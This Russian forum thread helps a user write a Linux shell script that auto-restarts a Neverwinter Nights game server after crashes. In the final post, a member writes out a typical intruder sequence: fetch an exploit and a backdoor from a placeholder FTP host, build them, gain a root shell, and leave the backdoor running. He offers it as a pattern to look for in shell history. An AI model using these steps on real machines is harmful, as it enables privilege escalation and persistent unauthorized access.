Город Мастеров
IPB

Здравствуйте, гость ( Вход | Регистрация )

 
Ответить в эту темуОткрыть новую тему
> Скрипт автоподнятия НВН сервера, Linux
Richard
сообщение May 6 2005, 08:21
Сообщение #1


Level 9
***

Класс: Клерик
Характер: Chaotic Evil
Раса: Человек



Собственно, вот сам скрипт.

CODE

#!/bin/sh
LOGFILE=$HOME/nwnrun.log
while :; do

cd /games/nwn/arena
rm *.core

./arena.sh

date >> $LOGFILE
echo "NWN ARENA NWNX2 started" >> $LOGFILE

sleep 15

done &



Затем, создаешь файл arena.sh в котором прописываешь строчку автоподнятия сервера. Интересно только есть ли разница если сервер работает в screen?

Вобщем, переработал я скрипт вроде как и вот что получилось:


CODE

#!/bin/sh
LOGFILE=$HOME/nwnrun.log
while :; do

/usr/compat/linux/usr/games/nwn/arena
rm *.core

./arena.sh

date >> $LOGFILE
echo "NWN ARENA NWNX2 started" >> $LOGFILE

sleep 15

done &




В файле arena.sh прописал команду поднятия...

Залил все это на фтп... обозвал файл со скриптом server.txt и сделал его исполняемым командой chmod a+x server.txt

Вроде все правильно, но скрипт не работает...
Подскажите пожалуйста в чем ошибка? :xz:


Добавлено в [mergetime]1115360297[/mergetime]
Но с другой стороны, я почему то думал что скрипт автозапуска, это скрипт проверяющий наличие процесса сервера, и в случае его отсутсвия запускающий его снова. Нельзя ли откомментить строки скрипта? Я вижу что он протоколирует в лог файл дату и строчку "NWN ARENA NWNX2 started" , и в процессе работы запустит скрипт arena.sh, перед этим удалив файлы *.core (для чего?). Но вот при каком условии тело цикла запустится я так и не понял.

while :; do
Между while и do должно быть условие, а :; это что?

Сообщение отредактировал Richard - May 6 2005, 09:17
Вернуться в начало страницы
Скопировать ник в поле быстрого ответа
+Ответить с цитированием данного сообщения
slavaz
сообщение May 6 2005, 09:34
Сообщение #2


Пингвиноид
Иконки Групп

Класс: Обыватель
Характер: True Neutral
Раса: Человек



CODE

#!/bin/sh
LOGFILE=$HOME/nwnrun.log
# бесконечный цикл
while [ true ]; do
# запуск файла arena с полным путём (этот файл у тебя именно там?)
/usr/compat/linux/usr/games/nwn/arena
# если вдруг произошёл выход из arena, то удаляем файл отладки (coredump)
rm *.core
# в ТЕКУЩЕМ каталоге пытаемся запустить скрипт arena.sh
./arena.sh
# запись в лог
date >> $LOGFILE
echo "NWN ARENA NWNX2 started" >> $LOGFILE
# 15 секунд скрипт отдыхает
sleep 15
# конец цикла (с уходом в бэкграунд)
done &


Что в файле arena.sh? Есть ли он в том же каталоге, откуда запускается приведённый скрипт?
/usr/compat/linux/usr/games/nwn/arena - по этому пути у тебя существует?

Сообщение отредактировал slavaz - May 6 2005, 09:35
Вернуться в начало страницы
Скопировать ник в поле быстрого ответа
+Ответить с цитированием данного сообщения
Richard
сообщение May 6 2005, 11:01
Сообщение #3


Level 9
***

Класс: Клерик
Характер: Chaotic Evil
Раса: Человек



Да, он в том же каталоге. в Арене ведь должна быть прописана команда запуска сервака?
Вернуться в начало страницы
Скопировать ник в поле быстрого ответа
+Ответить с цитированием данного сообщения
slavaz
сообщение May 6 2005, 11:58
Сообщение #4


Пингвиноид
Иконки Групп

Класс: Обыватель
Характер: True Neutral
Раса: Человек



Я вообще-то NWN-сервак под Линуксом не пускал. Но примерно по имеющимся данным попробую написать скрипт запуска:

CODE
#!/bin/sh

LOGFILE=/var/log/nwnrun.log
(
NWN_EXE=/usr/compat/linux/usr/games/nwn/arena
echo `date`": Script started"
cd `dirname $NWN_EXE`
while [ true ]; do
$NWN_EXE
echo `date`": Ops!.. NWN-server crashed. Restart"
rm -f *.core
done
) >>$LOGFILE 2>&1 &


ВНИМАНИЕ! Под Windows нельзя создавать скрипты для Linux! Либо можно редакторами, которые не добавляют <LF> в конец строки

В скрипте две переменные, которые надо изменить:
LOGFILE - путь к лог-файлу
NWN_EXE - путь к исполняемому файлу сервера NWN

Если что не так - сразу пиши (по возможности с описанием ошибок), будем разбираться...
Вернуться в начало страницы
Скопировать ник в поле быстрого ответа
+Ответить с цитированием данного сообщения
Richard
сообщение May 6 2005, 14:45
Сообщение #5


Level 9
***

Класс: Клерик
Характер: Chaotic Evil
Раса: Человек



То есть, как я понял, этот скрипт не нуждается в команде запуска ?
Просто этот скрипт кидаешь и делаешь исполняемым и он работает?
Вернуться в начало страницы
Скопировать ник в поле быстрого ответа
+Ответить с цитированием данного сообщения
slavaz
сообщение May 6 2005, 15:01
Сообщение #6


Пингвиноид
Иконки Групп

Класс: Обыватель
Характер: True Neutral
Раса: Человек



QUOTE (Richard @ May 6 2005, 15:45)
Просто этот скрипт кидаешь и делаешь исполняемым и он работает?

Просто этот скрипт кидаешь, делаешь исполняемым и запускаешь и он работает.
:)
Вернуться в начало страницы
Скопировать ник в поле быстрого ответа
+Ответить с цитированием данного сообщения
Richard
сообщение May 6 2005, 20:06
Сообщение #7


Level 9
***

Класс: Клерик
Характер: Chaotic Evil
Раса: Человек



А arena.sh удалить вообще?
Вернуться в начало страницы
Скопировать ник в поле быстрого ответа
+Ответить с цитированием данного сообщения
Richard
сообщение May 10 2005, 07:29
Сообщение #8


Level 9
***

Класс: Клерик
Характер: Chaotic Evil
Раса: Человек



Закинул скрипт... Ничего не исправлял, так как не смыслю в этом ничерта... Соответственно скрипт, написанный тобой не работает...
Вернуться в начало страницы
Скопировать ник в поле быстрого ответа
+Ответить с цитированием данного сообщения
slavaz
сообщение May 11 2005, 16:16
Сообщение #9


Пингвиноид
Иконки Групп

Класс: Обыватель
Характер: True Neutral
Раса: Человек



Будущим поколениям nwn-линуксоидов на заметку :-)

В результате продолжительных переговоров и в чём-то кровопролитных (для сервера) попыток был устаканен скрипт для запуска nwn-сервера под Линуксом.
Вначале требования:
1) В скрипте обязательно указать путь к nwn-серверу и путь, где скрипт будет вести свой лог-файл.
2) ни к в коем случае не набирать (копировать) скрипт под Windows - эта ОС большая любительница добавить в конец строки <LF>, который *NIX системами переваривается как обычный символ (соответственно, не находит Ваш любимый nwn-сервер с <LF> в конце имени).

Ну и сам скрипт nwn_server.run:
CODE
#!/bin/sh

LOGFILE=~/nwn_server_run.log
(
   NWN_DIR=/path/to/nwn
   NWN_EXE="screen -A -m -d -S nwn ./nwserver -module MODULE_NAME"
   cd $NWN_DIR
   echo `date`": Script started"
       $NWN_EXE
   while [ true ]; do
       sleep 5
       is_server_run=`ps aux | grep -v grep | grep -c nwserver`
       if [ $is_server_run -eq 0 ]; then
           echo `date`": Ops!.. NWN-server crashed. Restart"
           rm -f *.core
           $NWN_EXE
       fi
   done
) >>$LOGFILE 2>&1 &

выполнить скрипт:
CODE
chmod a+x nwn_server.run
./nwn_server.run

либо обе команды с полным путём
CODE
chmod a+x /path/to/nwn_server.run
/path/to/nwn_server.run


Сообщение отредактировал slavaz - May 16 2005, 16:27
Вернуться в начало страницы
Скопировать ник в поле быстрого ответа
+Ответить с цитированием данного сообщения
Richard
сообщение May 16 2005, 09:20
Сообщение #10


Level 9
***

Класс: Клерик
Характер: Chaotic Evil
Раса: Человек



Удалите лучше тему, ибо в скрипте присутствуют некотрые данные которые не должны подлежать разглашению.
Вернуться в начало страницы
Скопировать ник в поле быстрого ответа
+Ответить с цитированием данного сообщения
slavaz
сообщение May 16 2005, 16:26
Сообщение #11


Пингвиноид
Иконки Групп

Класс: Обыватель
Характер: True Neutral
Раса: Человек



QUOTE (Richard @ May 16 2005, 10:20)
Удалите лучше тему, ибо в скрипте присутствуют некотрые данные которые не должны подлежать разглашению.

Кроме пути (думаю, стандартного для NWN) и названия модуля ничего сверхсекретного в скрипте не содержится ;)
Но если настаиваешь - я поменял скрипт надлежащим образом...
Вернуться в начало страницы
Скопировать ник в поле быстрого ответа
+Ответить с цитированием данного сообщения
Richard
сообщение May 18 2005, 08:44
Сообщение #12


Level 9
***

Класс: Клерик
Характер: Chaotic Evil
Раса: Человек



Дело не в этом... А в элементарной команде запуска НВН сервака... Не все ведь в скрине работают, а если кому то удасться взломать пасс на ssh, то они будут уже знать что делать, чтобы запоганить сервер.
Вернуться в начало страницы
Скопировать ник в поле быстрого ответа
+Ответить с цитированием данного сообщения
slavaz
сообщение May 18 2005, 10:07
Сообщение #13


Пингвиноид
Иконки Групп

Класс: Обыватель
Характер: True Neutral
Раса: Человек



QUOTE (Richard @ May 18 2005, 09:44)
Дело не в этом... А в элементарной команде запуска НВН сервака... Не все ведь в скрине работают, а если кому то удасться взломать пасс на ssh, то они будут уже знать что делать, чтобы запоганить сервер.


Поверь, тех, кто взломает пароль на ssh, меньше всего будет интересовать твой nwn-сервер... :yes:
после взлома пароля стандартные процедуры:
CODE

$ ftp ftp://bla.bla/exploit.tgz
$ tar xzvf exploit.tgz
$ cd exploit
$ make
$ ./exploit "/bin/sh"
# ftp ftp://bla.bla/backdoor.tgz
# tar xzvf backdoor.tgz
# cd backdoor
# make
# nohup ./backdoor >/dev/null 2>&1 &


Примерно такое ищи в истории команд шелла. Хотя, если чел толковый, то ни логи, ни история команд не поможет... ;)

Сообщение отредактировал slavaz - May 18 2005, 10:10
Вернуться в начало страницы
Скопировать ник в поле быстрого ответа
+Ответить с цитированием данного сообщения

Ответить в эту темуОткрыть новую тему
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0

 



Текстовая версия Сейчас: 26th April 2024 - 17:11